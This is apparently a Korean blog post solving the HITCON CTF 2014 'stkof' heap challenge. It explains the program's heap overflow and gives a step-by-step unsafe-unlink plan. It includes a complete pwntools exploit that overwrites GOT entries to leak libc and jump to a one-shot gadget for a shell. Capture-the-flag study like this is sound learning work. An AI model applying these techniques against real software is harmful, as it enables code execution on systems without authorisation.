[ Pwnable ] HITCON CTF 2014-stkof write-up 본문

Pwnable/Heap

[ Pwnable ] HITCON CTF 2014-stkof write-up

disso1p1 2021. 2. 17. 00:11

 

 

 

 

 

[ 메모리 보호기법 ]

 

 

 

[ source code ]

#1 Alloc()

원하는 사이즈로 malloc 하고, 반환받은 주소를 chunklist에 저장

 

 

 

 

#2 Write()

chunklist에서 원하는 힙 주소를 골라 원하는 사이즈만큼 쓰기 가능 → Heap overflow

 

 

 

 

#3 Free()

chunklist에서 원하는 힙 주소를 골라 free 후 배열값 초기화 uaf X, double free X

 

 

 

 

#4 len_check() 

문자열 길이를 체크하는 함수인데 왜 있는 건지 모르겠음

 

 

 

 

 

 

[ 공격 루틴 ]

 

0. 2번의 Heap overflow를 이용해 Unsafe unlink ~

1. fastbin이 아닌 힙 청크 두개 생성

2. 첫번째 힙 청크에 fake 청크를 만듦

2.1. fake 청크의 fd를 chunklist[1]-0x18, bk를 chunklist[1]-0x10, 두번째 힙 청크의 prev_size, size 변조

3. Free() 함수로 두번째 힙 청크 Free ! chunklist[1]에 chunklist[1]-0x18 이 들어감

4. Write() 함수로 chunklist[1] (chunklist[1]-0x18) 을 다시 변조

4.1. chunklist[1]에 free@got, chunklist[2]에 puts@got로 변조

5. Write() 함수로 chunklist[1] (free@got)에 puts@plt로 변조 ( got는 jmp 0x7f~~(함수의 실제주소)를 하므로 plt를 넣어야됨 )

6. Free() 함수로 chunklist[2] Free ! puts(puts@got); 가 실행 libc leak !

7. chunklist[1] (free@got)에 one_shot gadget 를 넣음

8. Free() 함수로 chunklist[1] Free ! → one_shot !!

 

 

 

[ Exploit ]

from pwn import *

context.log_level = 'debug'

p = process('./stkof')
e = ELF('./stkof')
libc = e.libc

s = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
rl = lambda : p.recvline()
rvu = lambda x : p.recvuntil(x)


def Alloc(size):
    sl('1')
    sl(str(size))
    rl()
    rl()

def Write(idx, size, data):
    sl('2')
    sl(str(idx))
    sl(str(size))
    s(data)
    sleep(0.1)
    rl()

def Free(idx):
    sl('3')
    sl(str(idx))


chunklist_addr = 0x602140


Alloc(0x100) # 1
Alloc(0x100) # 2

pay = ''
pay += p64(0)*2 # header
pay += p64(chunklist_addr+0x8-0x18) # fd
pay += p64(chunklist_addr+0x8-0x10) # bk
pay = pay.ljust(0x100, '\x00')
pay += p64(0) # prev_size OK
pay += p64(0x411) # size OK
pay = pay.ljust(0x100+0x410, '\x00')
pay += p64(0x510) # prev_size
pay += p64(0x110) # size
Write(1, len(pay), pay)

Free(2) # unsafe unlink
rl()

pay = ''
pay += '\x00'*0x18 # dummy
pay += p64(e.got['free']) # 1
pay += p64(e.got['puts']) # 2
Write(1, len(pay), pay)

Write(1, 8, p64(e.plt['puts']))  # free@got dup into puts@plt


Free(2) # libc leak

libc_base = u64(rvu('\x7f')[-6:]+'\x00\x00') - libc.symbols['puts']
log.info('libc_base : ' + hex(libc_base))
rl()

Write(1, 8, p64(libc_base+0xf0364)) # free@got dup into one_shot gadget

Free(1) # one_shot gogo!

p.interactive()

 

 

 

 

 

모르는 점

함수하나를 실행할 때마다 puts로 "FAIL"이나 "OK"를 출력하는데 heap chunk를 생성한 후 그 문자열이 거기 들어간다.

왜 그러는지 모르겠다. 

'Pwnable > Heap' 카테고리의 다른 글

Heap에서 발생하는 엄청난 트릭들  (0) 2022.01.11
[ Pwnable ] 2017 Insomni'hack WheelOfRobots write-up  (0) 2021.02.19
[ Practice ] tcache dup_1  (0) 2021.02.15
[ Practice ] The House of Spirit_1  (0) 2021.02.15
[ Practice ] fastbin dup_1  (0) 2021.02.15
Comments